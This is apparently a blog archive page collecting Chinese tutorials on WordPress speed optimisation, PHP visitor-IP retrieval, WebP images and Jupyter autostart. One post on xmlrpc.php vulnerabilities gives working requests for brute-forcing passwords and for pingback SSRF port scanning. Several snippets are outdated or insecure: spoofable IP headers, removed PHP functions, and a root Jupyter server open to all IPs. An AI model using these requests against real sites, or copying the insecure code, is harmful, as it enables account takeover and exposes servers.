10个WordPress必备提高WordPress访问速度和精简代码

2020-07-30 17:27:31 分类:建站实操

我们很多网友,尤其是很多WordPress新手会发现自己在使用这款程序建站的时候为什么网站打开速度很慢,而有些网友即便数据和图片比较多网站打开速度也是比较快的,甚至你们都是使用的同一家的服务器。这个就在于我们在使用WordPress的时候是否有对于代码基础优化,当然如果深度优化是需要一些技能的,但是基础的优化我们大家都会做。

在这篇文章中,我们老部落整理几个常用的入门可以提高网站速度和代码优化效率的模块。如果我们是新手WordPress可以添加到网站中然后使得网站效率。

第一、网站目录反斜杠

//~ 页面链接后添加反斜杠
function itbulu_nice_trailingslashit($string, $type_of_url) {
if ($type_of_url != 'single')
$string = trailingslashit($string);
return $string;
}
add_filter('user_trailingslashit', 'itbulu_nice_trailingslashit', 10, 2);

添加这个脚本可以使得网站目录后缀URL加上反斜杠,默认是没有的。比如:https://www.laobuluo.com/tutorials/solution/。

第二、禁止emojis

//禁止emojis Edit By laobuluo.com
function disable_emojis() {
remove_action( 'wp_head', 'print_emoji_detection_script', 7 );
remove_action( 'admin_print_scripts', 'print_emoji_detection_script' );
remove_action( 'wp_print_styles', 'print_emoji_styles' );
remove_action( 'admin_print_styles', 'print_emoji_styles' );
remove_filter( 'the_content_feed', 'wp_staticize_emoji' );
remove_filter( 'comment_text_rss', 'wp_staticize_emoji' );
remove_filter( 'wp_mail', 'wp_staticize_emoji_for_email' );
add_filter( 'tiny_mce_plugins', 'disable_emojis_tinymce' );
}
add_action( 'init', 'disable_emojis' );
function disable_emojis_tinymce( $plugins ) {
if ( is_array( $plugins ) ) {
return array_diff( $plugins, array( 'wpemoji' ) );
} else {
return array();
}
}

一般网站用不上emojis,我们可以禁止。

第三、去掉CSS/JS后缀版本号

//去除加载的css和js后面的版本号 Edit By laobuluo.com
function sb_remove_script_version( $src ){
$parts = explode( '?', $src );
return $parts[0];
}
add_filter( 'script_loader_src', 'sb_remove_script_version', 15, 1 );
add_filter( 'style_loader_src', 'sb_remove_script_version', 15, 1 );

第四、禁止自PING和版本保存

function no_self_ping( &$links ) {
$home = get_option( 'home' );
foreach ( $links as $l => $link )
if ( 0 === strpos( $link, $home ) )
unset($links[$l]);
}
add_action( 'pre_ping', 'no_self_ping' );
remove_action('pre_post_update', 'wp_save_post_revision');
add_action('wp_print_scripts', 'disable_autosave');
function disable_autosave() {
wp_deregister_script('autosave');
}

第五、部分头部禁止模块

remove_action( 'wp_head', 'wp_generator' );
remove_action( 'wp_head', 'parent_post_rel_link', 10, 0 );
remove_action( 'wp_head', 'start_post_rel_link', 10, 0 );
remove_action( 'wp_head', 'adjacent_posts_rel_link_wp_head', 10, 0 );
remove_action( 'wp_head', 'feed_links_extra', 3 );
remove_action( 'wp_head', 'feed_links', 2 );
remove_action( 'wp_head', 'rsd_link' );
remove_action( 'wp_head', 'wlwmanifest_link' );
remove_action( 'wp_head', 'index_rel_link' );
remove_action( 'wp_head', 'wp_shortlink_wp_head', 10, 0 );

第六、将JQ文件底部加载

//强制jquery库文件底部载入 Edit By laobuluo.com
function ds_print_jquery_in_footer( &$scripts) {
    if ( ! is_admin() )
        $scripts->add_data( 'jquery', 'group', 1 );
}
add_action( 'wp_default_scripts', 'ds_print_jquery_in_footer' );

底部加载可以提高网站打开速度。

第七、关闭XML-RPC

// 关闭 XML-RPC 功能  Edit By laobuluo.com
add_filter('xmlrpc_enabled', '__return_false');

第八、关闭REST API

// 屏蔽 REST API
add_filter('rest_enabled', '__return_false');
add_filter('rest_jsonp_enabled', '__return_false');

第九、移除头部JSON

//移除头部 wp-json 标签和 HTTP header 中的 link Edit By laobuluo.com
remove_action('wp_head', 'rest_output_link_wp_head', 10 );
remove_action('template_redirect', 'rest_output_link_header', 11 );

第十、禁止Gutenberg编辑器

//禁止Gutenberg编辑器
add_filter('use_block_editor_for_post', '__return_false');
remove_action( 'wp_enqueue_scripts', 'wp_common_block_scripts_and_styles' );

总结,我们可以根据上面的功能将代码加入到当前WP主题的Functions.php文件中。

WordPress优化建议

1、选择优质的托管服务

当用户访问您的站点时,托管服务器将决定信息传递给他们的速度。有些服务器速度很慢,或者,您的套餐可能会限制您的最大速度或允许的服务器资源。简而言之,您的站点永远不会比服务器允许的速度快。选择正确的托管服务器和主机套餐是您应该为网站做出的首要选择之一,也是最重要的选择。

打个比方,电脑运行速度和性能,取决于硬件配置,比如CPU、内存、硬盘等,如果这些硬件配置都比较低,你用什么优化手段都不可能有显著的性能提升。以下是倡萌的建议:

国内网站

建议购买 阿里云、腾讯云 等国内大厂的产品,如果资金允许,不要购买“突发型”“限制型”“10%CPU性能”等等字样的产品,这就是硬件限制,磁盘最好选择SSD固态硬盘CPU最好是2核或以上、带宽至少2M或以上。反之,没钱的话,那就自己看着来吧!限制型服务器或主机空间运行一个小型网站也是可以的

外贸网站:

建议购买 SiteGround https://www.siteground.com ) 的WordPress管理型主机,他们是WordPress官方推荐的,并且针对WordPress进行了很多优化,可一键申请SSL免费证书和开启CDN。管理型 WordPress主机商还可以考虑 KinstaWP Engine 或 Godaddy,不过这些价格上有些贵。

注:不要买 BlueHost 了,被别人收购后,变得非常垃圾。

重要建议:

除了选择托管商以外,对产品的选择还要考虑以下因素:

  • 选择Linux主机,不要用windows
  • 选择提供 PHP 7.0 以上的(如果能提供PHP 7.2 或以上的,性能会更好)
  • 选择MySQL 5.6 以上的(好像阿里云的虚拟主机有些数据库还是 MySQL 5.1 ,请不要购买这种主机!)
  • 如果网站有一定的流量(比如日IP > 1000),建议不要用低配虚拟主机了,可以考虑升级使用云服务器(需要配置环境和维护的,可以联系倡萌)

2、定期更新WordPress内核、插件和主题

无论更新是WordPress核心,还是WordPress主题或插件,都请尽可能去做。这样做的最重要原因是安全性,因为更新将确保您的网站不受最新威胁的侵害。

3、使用缓存机制

WordPress网站优化的另一种方法是实施缓存。这样别人访问页面的时候,可以直接提供缓存页面和数据,减少了运行站点所需的服务器资源占用,从而可以大大加快站点的运行速度。推荐以下缓存插件

这几年出现了很多缓存插件,而且安装数量都非常多,大家可以根据自己的需要去对比一下。以上都非常不错!

如果是VPS或云服务器(内存1G以上),建议使用 Opcache 和 Memcached 服务器端缓存,性能更佳!

4、图像优化

图像优化是在不明显影响图像质量的情况下压缩图像文件大小的过程。大文件大小会对加载时间和带宽使用产生负面影响,从而损害整体用户体验。可以考虑以下图片处理插件:

5、减少HTTP请求数和压缩大小

页面加载的文件(css、js、图片等)都会导致请求数的增加,倡萌建议先删除或禁用不必要的js和css,然后合并压缩js和css,并且使用LazyLoad延迟加载图片。 除了减少HTTP请求数以外,压缩html、启用Gzip、延迟加载不是必要的css和js也是不错的优化手段。上面推荐的缓存插件基本都内置的这方面的功能,如果没有这方面的功能,可以使用 Autoptimize 插件。需要注意的是,这些操作可能会导致网站出现错位等问题,所以我们应该小心调试和排除一页页面和文件。

关于删除或禁用不必要的js和css,可以参考这方面的教程:

倡萌最近优化的网站项目,使用的是 Bridge 收费主题,加载了100+个js文件和30个css文件,最终倡萌剔除了 75+ 个 js和 20 个 css。

6、使用CDN加速

CDN指遍布全球的代理服务器网络。每个服务器都包含您的网站的副本,可用于将您的内容更快地交付给全球范围内的用户。这不仅可以提高您网站的速度,还可以提高安全性。对于有一定流量的网站来说,CDN方案是个不错的选择。

国内大厂主机商,比如阿里云、腾讯云、百度云等,都提供了CDN服务,可以根据需要自己选择使用。国内免费CDN可以考虑百度云加速,国外可以考虑 Cloudflare(可以安装 Cloudflare 插件)。

如果仅仅是加速静态文件,比如图片、js和css等,也可以考虑使用 又拍云七牛云 等服务。

WordPress大学 目前用的是阿里云服务器,所以配套用了OSS+CDN服务加速静态文件,效果还不错,就是需要一定的费用。

总结

WordPress网站的性能和速度对网站至关重要,通过检测工具检测出网站的问题,然后配合上面的WordPress网站优化建议去操作,应该可以得到一个不错的结果!网站优化是一个长期的实施过程,WordPress大学也需要不断优化提升!

php获取访问者IP地址汇总

在很我的时候我们需要得到用户的真实IP地址,例如,日志记录,地理定位,将用户信息,网站数据分析等,其实获取IP地址很简单$_SERVER[\’REMOTE_ADDR\’]就可以了。下面我们就来给大家汇总一下常用的几种获取IP地址的方法。

//方法1:

1
2
$ip = $_SERVER["REMOTE_ADDR"];
echo $ip;

//方法2:

 

复制代码代码如下:
$user_IP = ($_SERVER[“HTTP_VIA”]) ? $_SERVER[“HTTP_X_FORWARDED_FOR”] : $_SERVER[“REMOTE_ADDR”];
$user_IP = ($user_IP) ? $user_IP : $_SERVER[“REMOTE_ADDR”];
echo $user_IP;

 

//方法3:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function getRealIp()
{
  $ip=false;
  if(!empty($_SERVER["HTTP_CLIENT_IP"])){
    $ip = $_SERVER["HTTP_CLIENT_IP"];
  }
  if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $ips = explode (", ", $_SERVER['HTTP_X_FORWARDED_FOR']);
    if ($ip) { array_unshift($ips, $ip); $ip = FALSE; }
    for ($i = 0; $i < count($ips); $i++) {
      if (!eregi ("^(10│172.16│192.168).", $ips[$i])) {
        $ip = $ips[$i];
        break;
      }
    }
  }
  return ($ip ? $ip : $_SERVER['REMOTE_ADDR']);
}
echo getRealIp();

//方法4:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
if ($HTTP_SERVER_VARS["HTTP_X_FORWARDED_FOR"])
{
  $ip = $HTTP_SERVER_VARS["HTTP_X_FORWARDED_FOR"];
}
elseif ($HTTP_SERVER_VARS["HTTP_CLIENT_IP"])
{
  $ip = $HTTP_SERVER_VARS["HTTP_CLIENT_IP"];
}
elseif ($HTTP_SERVER_VARS["REMOTE_ADDR"])
{
  $ip = $HTTP_SERVER_VARS["REMOTE_ADDR"];
}
elseif (getenv("HTTP_X_FORWARDED_FOR"))
{
  $ip = getenv("HTTP_X_FORWARDED_FOR");
}
elseif (getenv("HTTP_CLIENT_IP"))
{
  $ip = getenv("HTTP_CLIENT_IP");
}
elseif (getenv("REMOTE_ADDR"))
{
  $ip = getenv("REMOTE_ADDR");
}
else
{
  $ip = "Unknown";
}
echo $ip ;

//方法5:

1
2
3
4
5
6
7
8
9
10
if(getenv('HTTP_CLIENT_IP')) {
  $onlineip = getenv('HTTP_CLIENT_IP');
} elseif(getenv('HTTP_X_FORWARDED_FOR')) {
  $onlineip = getenv('HTTP_X_FORWARDED_FOR');
} elseif(getenv('REMOTE_ADDR')) {
  $onlineip = getenv('REMOTE_ADDR');
} else {
  $onlineip = $HTTP_SERVER_VARS['REMOTE_ADDR'];
}
echo $onlineip

//方法6:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
print "您的IP地址是:";
if(!empty($_SERVER["HTTP_CLIENT_IP"])){
 $cip = $_SERVER["HTTP_CLIENT_IP"];
}
elseif(!empty($_SERVER["HTTP_X_FORWARDED_FOR"])){
 $cip = $_SERVER["HTTP_X_FORWARDED_FOR"];
}
elseif(!empty($_SERVER["REMOTE_ADDR"])){
 $cip = $_SERVER["REMOTE_ADDR"];
}
else{
 $cip = "无法获取!";
}
print $cip;

以上所述就是本文的全部内容了,希望对大家学习php能够有所帮助。

WordPress xmlrpc.php 漏洞

WordPress采用了XML-RPC接口.并且通过内置函数WordPress API实现了该接口内容。 所以,你可要通过客户端来管理Wordpress。 通过使用WordPress XML-RPC, 你可以使用业界流行博客客户端Weblog Clients来发布你的WordPress日志和页面。同时,XML-RPC 也可使用extended by WordPress Plugins插件来自定义你的规则。

0X01 激活XML-RPC

从3.5版本开始,XML-RPC功能默认开启。 早些版本,可通过如下方法激活:Settings > Writing > Remote Publishing and check the checkbox.

路径:http://example.com/wordpress/xmlrpc.php

image.png

0x02 查看系统允许的方法

POST /wordpress/xmlrpc.php HTTP/1.1
Host: www.example.com
Content-Length: 99

<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
image.png

0x03 账号爆破

一般情况下,wordpress的管理后台都会设置账号登录失败次数限制,因此,可以通过xmlprc.php接口来进行爆破。通常会使用wp.getUserBlogs、wp.getCategories和metaWeblog.getUsersBlogs这个方法来进行爆破,也可以使用其他的方法。
构造请求包:

POST /wordpress/xmlrpc.php HTTP/1.1
Host: www.example.com
Content-Length: 99

<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>password</value></param>
</params>
</methodCall>
image.png

爆破成功会返回博客的内容:

image.png

0x03 SSRF

WordPress 版本< 3.5.1
通过Pingback可以实现的服务器端请求伪造 (Server-side request forgery,SSRF)和远程端口扫描。
构造请求包:

POST /wordpress/xmlrpc.php HTTP/1.1
Host: www.example.com
Content-Length: 99

<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>要探测的ip和端口:http://127.0.0.1:80</string></value>
</param><param><value><string>网站上一篇博客的URL:http://localhost/wordpress/?p=1)<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

IP和端口存在,返回包中的<value><int>中的值大于0:

image.png

利用脚本:
https://github.com/FireFart/WordpressPingbackPortScanner 

0x04 读取文件:

image.png
image.png

0x99 参考:

https://codex.wordpress.org/zh-cn:XML-RPC_Support
http://xmlrpc.com/
https://medium.com/@the.bilal.rizwan/wordpress-xmlrpc-php-common-vulnerabilites-how-to-exploit-them-d8d3c8600b32
https://www.acunetix.com/blog/web-security-zone/wordpress-pingback-vulnerability/
http://lab.onsec.ru/2013/01/wordpress-xmlrpc-pingback-additional.html

常见User-Agent 大全

常见 User-Agent 大全-备份

备份下常见User-Agent。

window.navigator.userAgent

1) Chrome
Win7:
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1

2) Firefox
Win7:
Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0) Gecko/20100101 Firefox/6.0

3) Safari
Win7:
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50

4) Opera
Win7:
Opera/9.80 (Windows NT 6.1; U; zh-cn) Presto/2.9.168 Version/11.50

5) IE
Win7+ie9:
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; Tablet PC 2.0; .NET4.0E)

Win7+ie8:
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; InfoPath.3)

WinXP+ie8:
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.0)

WinXP+ie7:
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)

WinXP+ie6:
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

6) 傲游
傲游3.1.7在Win7+ie9,高速模式:
Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12

傲游3.1.7在Win7+ie9,IE内核兼容模式:
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)

7) 搜狗
搜狗3.0在Win7+ie9,IE内核兼容模式:
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; SE 2.X MetaSr 1.0)

搜狗3.0在Win7+ie9,高速模式:
Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.33 Safari/534.3 SE 2.X MetaSr 1.0

8) 360
360浏览器3.0在Win7+ie9:
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)

9) QQ浏览器
QQ浏览器6.9(11079)在Win7+ie9,极速模式:
Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 QQBrowser/6.9.11079.201

QQ浏览器6.9(11079)在Win7+ie9,IE内核兼容模式:
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E) QQBrowser/6.9.11079.201

10) 阿云浏览器
阿云浏览器1.3.0.1724 Beta(编译日期2011-12-05)在Win7+ie9:
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)

 

如何在WordPress中使用WebP图像

播报文章
关注

您是否要在WordPress中使用WebP图像?WebP图像是一种现代的图像格式,可通过减小文件大小来提供更好的图像压缩。这使您的网站加载速度更快,并节省了带宽。在本文中,我们将向您展示如何轻松地在WordPress中使用WebP图像。

什么是WebP?为什么在WordPress中使用WebP图像?

WebP是要在网络上使用的图像的新文件格式。通过使用WebP图像格式,您的图像文件大小将比PNG和JPEG小25-34%,而不会降低质量。如果图像使您的网站变慢,则将其转换为WebP格式可以提高页面加载速度的测试成绩。

由于WebP是一种新的文件格式,因此并非所有浏览器都支持它。但是,大多数现代浏览器(例如Google Chrome,Firefox和Microsoft Edge)都支持WebP图像。

您是否应该在WordPress中使用WebP图像?

WebP图像可以帮助您加快WordPress网站的速度。这是推荐的最佳实践,可与WordPress缓存插件,CDN等一起使用。默认情况下,WordPress不支持WebP图像,并且上载WebP图像将显示错误。

要解决此问题,您将需要使用图像压缩插件将图像转换为WebP图像格式。您仍将以WordPress支持的文件格式(例如PNG,JPEG和GIF)上传图像,以便将它们用作备份。如果您的站点使用大量图像,并且它们在减慢WordPress博客的速度,那么您绝对应该考虑使用WebP图像。

这是在WordPress中使用WebP图像的方法。我们将向您展示多种方法,因此您可以选择一种最适合您的方法:

通过EWWW Optimizer在WordPress中使用WebP图像在WP Rocket中使用WordPress中的WebP图像通过SG Optimizer在WordPress中使用WebP图像一、在EWWW Optimizer中使用WordPress中的WebP图像

EWWW Image Optimizer插件是最好的WordPress图像压缩插件之一,可让您优化WordPress图像。它还支持WebP图像,并可以在支持的浏览器上自动显示它们。您需要做的第一件事是安装并激活EWWW Image Optimizer插件。

激活后,转到设置EWWW图像优化器页面以配置插件选项。安装向导会打招呼,但是您可以单击“我知道我在做什么”链接以退出向导。

在下一个屏幕上,您将看到很多插件选项。向下滚动并选中“ WebP转换”选项旁边的框。

之后,单击“保存更改”按钮以存储您的设置。

接下来,您需要向下滚动到“ WebP转换”部分。现在,该插件将为您显示一些带有红色预览图像的重写规则。

您需要单击“插入重写规则”按钮,插件将自动尝试将这些重写规则插入.htaccess文件中。

如果插件成功添加了这些规则,则红色图像预览将变为带有“ WebP”文本的绿色。

有时,插件可能无法插入规则。在这种情况下,您需要从插件的设置页面复制重写规则,然后将其手动粘贴到.htaccess文件的底部。完成后,返回到插件的设置页面,然后再次单击“保存更改”按钮。如果预览图像变为绿色,则表示您已成功在WordPress网站上启用WebP图像传递。

或者,您可以从JS WebP重写或<picture> WebP重写方法中选择一种作为WebP交付选项。这些方法比.htaccess方法要慢一些,但可以完成工作。

批量将旧图像转换为WebP版本

EWWW图像优化器使您可以轻松地将以前上传的图像文件转换为WebP图像。只需转到媒体库页面,然后切换到列表视图。

接下来,您需要单击“屏幕选项”按钮,并将“每页的项目数”更改为999。如果您有1000幅以上的图像,则这些图像将显示在下一页上。这样,您将能够快速选择大量图像以进行批量优化。接下来,单击顶部的全选复选框以选择所有图像。

之后,点击批量操作下拉菜单,然后选择批量优化选项。最后,单击“应用”按钮。

在下一个屏幕上,该插件将为您提供一个选项,可以跳过图像压缩,仅将其转换为WebP。如果您的图像已经优化,则可以选中此选项。

之后,单击“扫描未优化的图像”按钮继续。然后,该插件将向您显示找到的图像数量,因此您可以单击“优化”按钮继续。现在将优化您的图像,并且EWWW优化器将为您的图像生成WebP版本。

测试您的WebP图像

优化图像后,您可以转到包含多个图像的博客文章或页面。将鼠标移到任何图像上,然后单击鼠标右键以在新选项卡中打开图像。

这将在新的浏览器选项卡中打开图像,您将能够在地址栏中看到其扩展名为.webp。

如果插件无法提供webp图像,则可以返回到插件的设置页面。在这里,您可以将WebP交付选项更改为“ JS WebP Rewriting”或“ <picture> WebP Rewriting”方法。

二、通过Imagify在WordPress中使用WebP图像

Imagify是WP Rocket背后的人们创建的WordPress图像优化插件,WP Rocket是最好的WordPress缓存插件之一。它使您可以轻松优化图像并将其转换为WebP图像格式。您需要做的第一件事是安装并激活Imagify插件。

激活后,您需要访问设置想象页面以配置插件设置。从这里。点击“创建免费的API密钥”按钮继续。

之后,系统会要求您输入公司的电子邮件地址,然后您可以在收件箱中查看包含API密钥的电子邮件。将密钥复制并粘贴到插件的设置页面上,然后单击“保存更改”按钮。接下来,您需要向下滚动到“优化”部分。在那里,您需要检查“创建webp版本的图像”和“在站点上以webp格式显示图像”选项旁边的选项。

在此之下,您可以从两种交付方式中选择一种,以在WordPress中显示WebP图像。第一个是.htaccess方法,第二个是使用<picture>标记。.htaccess方法更快,但是如果您使用CDN服务,则该方法不起作用。<picture>标记方法也适用于CDN,但它可能会破坏某些WordPress主题。

您可以选择一种最适合您的网站的方式。之后,点击底部的“保存并转到批量优化器”按钮。

这将带您到MediaBulk Optimization页面。该插件将在后台自动开始优化您的所有WordPress图像。

如果您有很多图像,则可能要花一些时间。不用担心,您可以关闭页面并稍后再返回页面,因为关闭页面不会停止图像优化过程。

在WordPress中测试您的WebP图像

优化完成后,您可以访问包含一些图像的页面或帖子。将鼠标移到图像上,然后右键单击以选择“在新选项卡中打开图像”。

这将在新的浏览器选项卡中打开图像,并且您将能够在地址栏中看到.webp扩展名。

wordpress如何设置支持上传webp格式图片文件

而且图片质量却没有损失,简直恐怖,如果把网站的图片全换成webp的话,那估计网站加载速度可以省下一两秒。

wordpress如何设置支持上传webp格式图片文件插图

没压缩前,大小4MB

wordpress如何设置支持上传webp格式图片文件插图1

压缩后,大小28KB

教你转换之前我们先来了解下webp格式的由来。

WebP是Google在2010年推出的影像技术,文件扩展名为“.webp”。

图片压缩体积大约只有JPEG的2/3,同时又不影响图片格式兼容与实际清晰度,进而节省大量的服务器宽带资源和数据空间。让整体网页下载速度加快。

不过WebP缺点是有的,就是部分浏览器或者客户端并不支持显示WebP格式的文件,比如我们wordpress、windows,默认情况下是无法读取WebP文件的。

当然WebP出来已经10年了,几乎95%的程序都是支持WebP的,比如微信就支持,所以取舍问题,我们还是选择速度至上,给wordpress开启支持WebP图片。

具体步骤:

使用代码编辑器直接编辑 /wp-includes/functions.php

1、打开文件搜索

  1. ‘image/jpeg’ => ‘jpg’,

在下一行加入

  1. ‘image/webp’ => ‘webp’,

wordpress如何设置支持上传webp格式图片文件插图2

2、继续搜

  1. ‘jpg|jpeg|jpe’ => ‘image/jpeg’,

下一行加入

  1. ‘webp’ => ‘image/webp’,

wordpress如何设置支持上传webp格式图片文件插图3

修改后保存,刷新网页即可生效。

如图wordpress缩略图无法显示WebP图片怎么办?修改functions.php文件,在底部添加以下代码保存即可。

function webp_file_is_displayable_image($result, $path) {
    $info = @getimagesize( $path );
    if($info['mime'] == 'image/webp') {
        $result = true;
    }
    return $result;
}
add_filter( 'file_is_displayable_image', 'webp_file_is_displayable_image', 10, 2 );

function webp_is_displayable($result, $path) {
    if ($result === false) {
        $displayable_image_types = array( IMAGETYPE_WEBP );
        $info = @getimagesize( $path );
        if (empty($info)) {
            $result = false;
        } elseif (!in_array($info[2], $displayable_image_types)) {
            $result = false;
        } else {
            $result = true;
        }
    }
    return $result;
}
add_filter('file_is_displayable_image', 'webp_is_displayable', 10, 2);

 

需要说明的是之前上传的webp图片是不会显示的,只能添加代码后上传的webp文件才会显示缩略图。

jupyter notebook,设置自启动

一、Debian

(base) root@debian:/etc/systemd/system# cat jupyter.service

[Unit]
Description=Jupyter Notebook
After=network.target
[Service]
Type=simple
ExecStart=/root/anaconda3/bin/jupyter-notebook –config=/root/.jupyter/jupyter_notebook_config.py –no-browser

WorkingDirectory=/root/anaconda3/bin/
#文件路径名
Restart=always
RestartSec=10
ExecReload=/bin/kill -HUP $MAINPID
KillMode=process
Restart=on-failure
RestartPreventExitStatus=255
Type=notify
#RuntimeDirectory=sshd
#RuntimeDirectoryMode=0755

 

[Install]
WantedBy=multi-user.target

3、添加权限并设置开机自启chmod +x /etc/jupyter.service

systemctl enable jupyter

systemctl start jupyter.service

检查状态:systemctl status jupyter.service

返回Active:active信息,则成功。

最后我们就可以在/etc/rc.local里,添加开机的自启命令什么的了。记住添加在exit 0之前。

注意:更改自启脚本后,需要重新运行一下命令已使其生效。systemctl enable jupyter

如果有更改服务配置文件test.service,需要执行以下命令

刷新:systemctl daemon-reload

启动:systemctl start jupyter.service

***另启动脚本

###########################自己改的jupyter启动程序 /etc/init.d/jupyter
#!/bin/sh
start()
{
echo “=========================”
echo “Jupyter notebook AutoStart”
echo “=========================”
}

status()
{
echo “jupyter notebook stauts”
systemctl status jupyter.service | grep “Active:”

}
stop()
{
echo “Stopping jupyter notebook”
kill $(ps aux|grep -m 1 ‘jupyter-notebook –allow-root’|awk ‘{ print $2}’)

}

case “$1” in
start)
echo “starting jupyter notebook”
jupyter notebook –allow-root &
;;
stop)
stop
;;
status)
status
;;
restart)
stop
start
;;
*)
echo “Usage: jupyter {start|stop|restart|status}”
;;
esac
exit 0

四、设置自启动

1 update-rc.d jupyter defaults

步骤二(Level 3 启动项后面增加软连接)

1 cd /etc/rc3.d/
2 ln -s ../init.d/jupyter S01jupyter

reboot 重启测试

二、树莓派安装

树莓派安装1> 树莓派原生OS不带pip工具,安装pip管理工具,原生OS上有两个python版本,需指定版本(python3-pip/python2-pip)

 

sudo apgget install python3-pip

2>切换root用户
notes:直接切换会报没权限错误,需先设置root密码,执行下列命令,然后设置密码;

 

sudo passwd root

执行“su 用户名”命令切换用户,后面执行所有的命令都是在Root管理者权限下执行,(在pi下不能实现自启动)

 

su root

安装配置jupyter

1 安装jupyter,国内镜像源下载会更块,-i参数指定 https://pypi.douban.com/simple/, 其中pyzmq-22.0.3-cp37-cp37m-linux_armv7l.whl包下载容易报错,建议电脑本地安装

 

pip3 install -i https://pypi.douban.com/simple/ jupyter

2配置jupyter
安装完成后,执行下列命令

 

  jupyter notebook --generate-config

此时在/root/下会生成一个/.jupyter文件夹

 

root@raspberrypi:~# ls -al
total 56
drwx------  6 root root  4096 Mar  8 07:17 .
drwxr-xr-x 18 root root  4096 Jan 11 05:15 ..
-rw-------  1 root root  3288 Mar  8 07:18 .bash_history
-rw-r--r--  1 root root   570 Dec  9 14:40 .bashrc
drwx------  3 root root  4096 Mar  8 06:14 .cache
drwx------  2 root root  4096 Mar  8 07:14 .jupyter
drwxr-xr-x  3 root root  4096 Mar  8 06:22 .local
-rw-r--r--  1 root root   148 Dec  9 14:40 .profile
-rw-------  1 root root    49 Mar  8 06:29 .python_history
-rw-------  1 root root 13803 Mar  8 07:17 .viminfo
drwx------  3 root root  4096 Mar  8 01:20 .vnc
root@raspberrypi:~# cd .jupyter/
root@raspberrypi:~/.jupyter# ls -al

终端输入,

 

jupyter notebook password

提示输入密码,此处会生成密钥保存json文件中,此处后面会用到

 

root@raspberrypi:~/.jupyter# ls -al
total 60
drwx------ 2 root root  4096 Mar  8 07:14 .
drwx------ 6 root root  4096 Mar  8 07:17 ..
-rw------- 1 root root   129 Mar  8 06:50 jupyter_notebook_config.json
-rw-r--r-- 1 root root 48533 Mar  8 07:14 jupyter_notebook_config.py

打开/.jupyter 文件后编辑“jupyter_notebook_config.py”

 

c.NotebookApp.ip='*'                                              //‘*’表示局域网内任意IP都可以访问,
c.NotebookApp.allow_remote_access=True         //表示接受远程连接
c.NotebookApp.password=u'argon2:$argon2id$v=19$m=10240,t=10,p=8$QImcaSHkIZuOzmZwNgduTQ$ZSHvDSq4OZNX8ZonXgnbuA'      //保存在Json文件中的密钥
c.NotebookApp.open_browser=False                   //默认不打开浏览器
c.NotebookApp.port=48888                                  //默认端口
c.NotebookApp.notebook_dir='/home/pi/'             //默认工作目录

设置自启动

此处有多种方法,
方法1>编辑/etc.rc.local 文件,在exit 0 前加入 “jupyter notebook –allow-root”

 

#!/bin/sh -e
# rc.local
# This script is executed at the end of each multiuser runlevel.
# Make sure that the script will "exit 0" on success or any other
# value on error.
# In order to enable or disable this script just change the execution
# bits.
# By default this script does nothing.
# Print the IP address
_IP=$(hostname -I) || true
if [ "$_IP" ]; then
  printf "My IP address is %s\n" "$_IP"
fi
jupyter notebook --allow-root
exit 0

方法二
在/etc/init.d/文件夹下增加执行文件jupyter.init

 

#!/bin/bash
case "$1" in
     start)
         echo "starting jupyter notebook"
         jupyter notebook --allow-root &
         ;;
     stop)
        echo "stopping jupyter notebook"
        kill $(ps aux|grep -m 1 'jupyter-notebook --allow-root'|awk '{ print $2}')
        ;;
     *)
        echo "Usage: service jupyter notebook start|stop"
        exit 1
        ;;
esac
exit 0

添加执行权限

chmod +x /etc/init.d/jupyter.init

重启设备

#运行jupyter.init 文件
sudo service jupyter.init start
#终止jupyter.init 文件
